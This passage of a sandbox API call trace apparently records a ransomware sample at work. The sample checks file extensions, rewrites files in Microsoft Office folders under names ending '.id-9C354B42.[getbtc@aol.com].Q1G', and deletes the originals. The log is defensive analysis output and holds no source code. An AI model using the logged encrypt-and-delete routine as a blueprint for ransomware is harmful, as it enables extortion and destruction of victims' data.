lstrlenW (lpString=".bz2") returned 4 [0257.972] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.973] lstrlenW (lpString=".7z") returned 3 [0257.973] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".dbf") returned 4 [0257.973] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".1cd") returned 4 [0257.973] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".jpg") returned 4 [0257.973] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".doc") returned 4 [0257.973] lstrcmpiW (lpString1=".doc", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString=".docx") returned 5 [0257.973] lstrcmpiW (lpString1=".docx", lpString2="2.dll") returned -1 [0257.973] lstrlenW (lpString=".pdf") returned 4 [0257.973] lstrcmpiW (lpString1=".pdf", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString=".xls") returned 4 [0257.973] lstrcmpiW (lpString1=".xls", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString=".xlsx") returned 5 [0257.973] lstrcmpiW (lpString1=".xlsx", lpString2="2.dll") returned -1 [0257.973] lstrlenW (lpString=".ppt") returned 4 [0257.973] lstrcmpiW (lpString1=".ppt", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".zip") returned 4 [0257.973] lstrcmpiW (lpString1=".zip", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString=".rar") returned 4 [0257.973] lstrcmpiW (lpString1=".rar", lpString2=".dll") returned 1 [0257.973] lstrlenW (lpString=".bz2") returned 4 [0257.973] lstrcmpiW (lpString1=".bz2", lpString2=".dll") returned -1 [0257.973] lstrlenW (lpString=".7z") returned 3 [0257.973] lstrcmpiW (lpString1=".7z", lpString2="dll") returned -1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".dbf") returned 4 [0257.973] lstrcmpiW (lpString1=".dbf", lpString2=".dll") returned -1 [0257.973] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.973] lstrlenW (lpString=".1cd") returned 4 [0257.974] lstrcmpiW (lpString1=".1cd", lpString2=".dll") returned -1 [0257.974] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSStr32.dll") returned 55 [0257.974] lstrlenW (lpString=".jpg") returned 4 [0257.974] lstrcmpiW (lpString1=".jpg", lpString2=".dll") returned 1 [0257.974] lstrcmpiW (lpString1=".exe", lpString2=".Q1G") returned -1 [0257.974] lstrlenW (lpString="BCSSync.exe") returned 11 [0257.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c8 [0257.974] GetFileSizeEx (in: hFile=0x3c8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=112512) returned 1 [0257.974] CloseHandle (hObject=0x3c8) returned 1 [0257.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe")) returned 0x20 [0257.974] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0257.974] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe" (normalized: "c:\\program files\\microsoft office\\office14\\bcssync.exe"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0257.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.975] lstrlenW (lpString=".doc") returned 4 [0257.975] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0257.975] lstrlenW (lpString=".docx") returned 5 [0257.975] lstrcmpiW (lpString1=".docx", lpString2="c.exe") returned -1 [0257.975] lstrlenW (lpString=".pdf") returned 4 [0257.975] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0257.975] lstrlenW (lpString=".xls") returned 4 [0257.975] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0257.975] lstrlenW (lpString=".xlsx") returned 5 [0257.975] lstrcmpiW (lpString1=".xlsx", lpString2="c.exe") returned -1 [0257.975] lstrlenW (lpString=".ppt") returned 4 [0257.975] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0257.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.975] lstrlenW (lpString=".zip") returned 4 [0257.975] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0257.975] lstrlenW (lpString=".rar") returned 4 [0257.975] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0257.975] lstrlenW (lpString=".bz2") returned 4 [0257.975] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0257.975] lstrlenW (lpString=".7z") returned 3 [0257.975] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0257.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.975] lstrlenW (lpString=".dbf") returned 4 [0257.975] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0257.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.975] lstrlenW (lpString=".1cd") returned 4 [0257.975] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0257.975] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.975] lstrlenW (lpString=".jpg") returned 4 [0257.975] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0257.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.976] lstrlenW (lpString=".doc") returned 4 [0257.976] lstrcmpiW (lpString1=".doc", lpString2=".exe") returned -1 [0257.976] lstrlenW (lpString=".docx") returned 5 [0257.976] lstrcmpiW (lpString1=".docx", lpString2="c.exe") returned -1 [0257.976] lstrlenW (lpString=".pdf") returned 4 [0257.976] lstrcmpiW (lpString1=".pdf", lpString2=".exe") returned 1 [0257.976] lstrlenW (lpString=".xls") returned 4 [0257.976] lstrcmpiW (lpString1=".xls", lpString2=".exe") returned 1 [0257.976] lstrlenW (lpString=".xlsx") returned 5 [0257.976] lstrcmpiW (lpString1=".xlsx", lpString2="c.exe") returned -1 [0257.976] lstrlenW (lpString=".ppt") returned 4 [0257.976] lstrcmpiW (lpString1=".ppt", lpString2=".exe") returned 1 [0257.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.976] lstrlenW (lpString=".zip") returned 4 [0257.976] lstrcmpiW (lpString1=".zip", lpString2=".exe") returned 1 [0257.976] lstrlenW (lpString=".rar") returned 4 [0257.976] lstrcmpiW (lpString1=".rar", lpString2=".exe") returned 1 [0257.976] lstrlenW (lpString=".bz2") returned 4 [0257.976] lstrcmpiW (lpString1=".bz2", lpString2=".exe") returned -1 [0257.976] lstrlenW (lpString=".7z") returned 3 [0257.976] lstrcmpiW (lpString1=".7z", lpString2="exe") returned -1 [0257.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.976] lstrlenW (lpString=".dbf") returned 4 [0257.976] lstrcmpiW (lpString1=".dbf", lpString2=".exe") returned -1 [0257.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.976] lstrlenW (lpString=".1cd") returned 4 [0257.976] lstrcmpiW (lpString1=".1cd", lpString2=".exe") returned -1 [0257.976] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BCSSync.exe") returned 54 [0257.976] lstrlenW (lpString=".jpg") returned 4 [0257.976] lstrcmpiW (lpString1=".jpg", lpString2=".exe") returned 1 [0257.976] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0257.977] lstrlenW (lpString="MSART1.BDR") returned 10 [0257.977] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.036] GetFileSizeEx (in: hFile=0x3d8, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=32246) returned 1 [0258.036] CloseHandle (hObject=0x3d8) returned 1 [0258.036] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 0x20 [0258.052] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.069] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.075] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.075] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.076] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.077] GetLastError () returned 0x0 [0258.077] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x7df6, lpOverlapped=0x0) returned 1 [0258.079] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x7e00, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x7e00, lpOverlapped=0x0) returned 1 [0258.080] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0258.080] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xe8, lpOverlapped=0x0) returned 1 [0258.080] SetEndOfFile (hFile=0x3d8) returned 1 [0258.081] CloseHandle (hObject=0x3d8) returned 1 [0258.081] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.081] SetEndOfFile (hFile=0x3c0) returned 1 [0258.083] CloseHandle (hObject=0x3c0) returned 1 [0258.083] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.084] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart1.bdr")) returned 1 [0258.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.084] lstrlenW (lpString=".doc") returned 4 [0258.084] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.084] lstrlenW (lpString=".docx") returned 5 [0258.084] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0258.084] lstrlenW (lpString=".pdf") returned 4 [0258.084] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.084] lstrlenW (lpString=".xls") returned 4 [0258.084] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.084] lstrlenW (lpString=".xlsx") returned 5 [0258.084] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0258.084] lstrlenW (lpString=".ppt") returned 4 [0258.084] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.084] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.084] lstrlenW (lpString=".zip") returned 4 [0258.085] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".rar") returned 4 [0258.085] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".bz2") returned 4 [0258.085] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".7z") returned 3 [0258.085] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.085] lstrlenW (lpString=".dbf") returned 4 [0258.085] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.085] lstrlenW (lpString=".1cd") returned 4 [0258.085] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.085] lstrlenW (lpString=".jpg") returned 4 [0258.085] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.085] lstrlenW (lpString=".doc") returned 4 [0258.085] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".docx") returned 5 [0258.085] lstrcmpiW (lpString1=".docx", lpString2="1.BDR") returned -1 [0258.085] lstrlenW (lpString=".pdf") returned 4 [0258.085] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".xls") returned 4 [0258.085] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".xlsx") returned 5 [0258.085] lstrcmpiW (lpString1=".xlsx", lpString2="1.BDR") returned -1 [0258.085] lstrlenW (lpString=".ppt") returned 4 [0258.085] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.085] lstrlenW (lpString=".zip") returned 4 [0258.085] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".rar") returned 4 [0258.085] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.085] lstrlenW (lpString=".bz2") returned 4 [0258.086] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.086] lstrlenW (lpString=".7z") returned 3 [0258.086] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.086] lstrlenW (lpString=".dbf") returned 4 [0258.086] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.086] lstrlenW (lpString=".1cd") returned 4 [0258.086] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.086] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART1.BDR") returned 61 [0258.086] lstrlenW (lpString=".jpg") returned 4 [0258.086] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.086] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.086] lstrlenW (lpString="MSART13.BDR") returned 11 [0258.086] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.086] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=28368) returned 1 [0258.087] CloseHandle (hObject=0x3c0) returned 1 [0258.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 0x20 [0258.087] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0258.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0258.087] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.087] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.087] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3d8 [0258.088] GetLastError () returned 0x0 [0258.088] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x6ed0, lpOverlapped=0x0) returned 1 [0258.090] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0x6ee0, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0x6ee0, lpOverlapped=0x0) returned 1 [0258.092] ReadFile (in: hFile=0x3c0, lpBuffer=0x3ca0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2ddfed4, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesRead=0x2ddfed4*=0x0, lpOverlapped=0x0) returned 1 [0258.092] WriteFile (in: hFile=0x3d8, lpBuffer=0x3ca0020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2ddfc9c, lpOverlapped=0x0 | out: lpBuffer=0x3ca0020*, lpNumberOfBytesWritten=0x2ddfc9c*=0xea, lpOverlapped=0x0) returned 1 [0258.092] SetEndOfFile (hFile=0x3d8) returned 1 [0258.114] CloseHandle (hObject=0x3d8) returned 1 [0258.115] SetFilePointerEx (in: hFile=0x3c0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2ddfec8 | out: lpNewFilePointer=0x0) returned 1 [0258.115] SetEndOfFile (hFile=0x3c0) returned 1 [0258.117] CloseHandle (hObject=0x3c0) returned 1 [0258.117] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0258.299] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart13.bdr")) returned 1 [0258.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.300] lstrlenW (lpString=".doc") returned 4 [0258.300] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.300] lstrlenW (lpString=".docx") returned 5 [0258.300] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0258.300] lstrlenW (lpString=".pdf") returned 4 [0258.300] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.300] lstrlenW (lpString=".xls") returned 4 [0258.300] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.300] lstrlenW (lpString=".xlsx") returned 5 [0258.300] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0258.300] lstrlenW (lpString=".ppt") returned 4 [0258.300] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.300] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.300] lstrlenW (lpString=".zip") returned 4 [0258.300] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.300] lstrlenW (lpString=".rar") returned 4 [0258.300] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.300] lstrlenW (lpString=".bz2") returned 4 [0258.300] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".7z") returned 3 [0258.301] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString=".dbf") returned 4 [0258.301] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString=".1cd") returned 4 [0258.301] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString=".jpg") returned 4 [0258.301] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString=".doc") returned 4 [0258.301] lstrcmpiW (lpString1=".doc", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".docx") returned 5 [0258.301] lstrcmpiW (lpString1=".docx", lpString2="3.BDR") returned -1 [0258.301] lstrlenW (lpString=".pdf") returned 4 [0258.301] lstrcmpiW (lpString1=".pdf", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".xls") returned 4 [0258.301] lstrcmpiW (lpString1=".xls", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".xlsx") returned 5 [0258.301] lstrcmpiW (lpString1=".xlsx", lpString2="3.BDR") returned -1 [0258.301] lstrlenW (lpString=".ppt") returned 4 [0258.301] lstrcmpiW (lpString1=".ppt", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString=".zip") returned 4 [0258.301] lstrcmpiW (lpString1=".zip", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".rar") returned 4 [0258.301] lstrcmpiW (lpString1=".rar", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".bz2") returned 4 [0258.301] lstrcmpiW (lpString1=".bz2", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString=".7z") returned 3 [0258.301] lstrcmpiW (lpString1=".7z", lpString2="BDR") returned -1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.301] lstrlenW (lpString=".dbf") returned 4 [0258.301] lstrcmpiW (lpString1=".dbf", lpString2=".BDR") returned 1 [0258.301] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.302] lstrlenW (lpString=".1cd") returned 4 [0258.302] lstrcmpiW (lpString1=".1cd", lpString2=".BDR") returned -1 [0258.302] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART13.BDR") returned 62 [0258.302] lstrlenW (lpString=".jpg") returned 4 [0258.302] lstrcmpiW (lpString1=".jpg", lpString2=".BDR") returned 1 [0258.302] lstrcmpiW (lpString1=".BDR", lpString2=".Q1G") returned -1 [0258.302] lstrlenW (lpString="MSART3.BDR") returned 10 [0258.302] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a0 [0258.328] GetFileSizeEx (in: hFile=0x3a0, lpFileSize=0x2ddff1c | out: lpFileSize=0x2ddff1c*=57646) returned 1 [0258.329] CloseHandle (hObject=0x3a0) returned 1 [0258.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr")) returned 0x20 [0258.329] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\BORDERS\\MSART3.BDR.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\borders\\msart3.bdr.id-9c354b42.[getbtc@aol.com].q1g")) returned 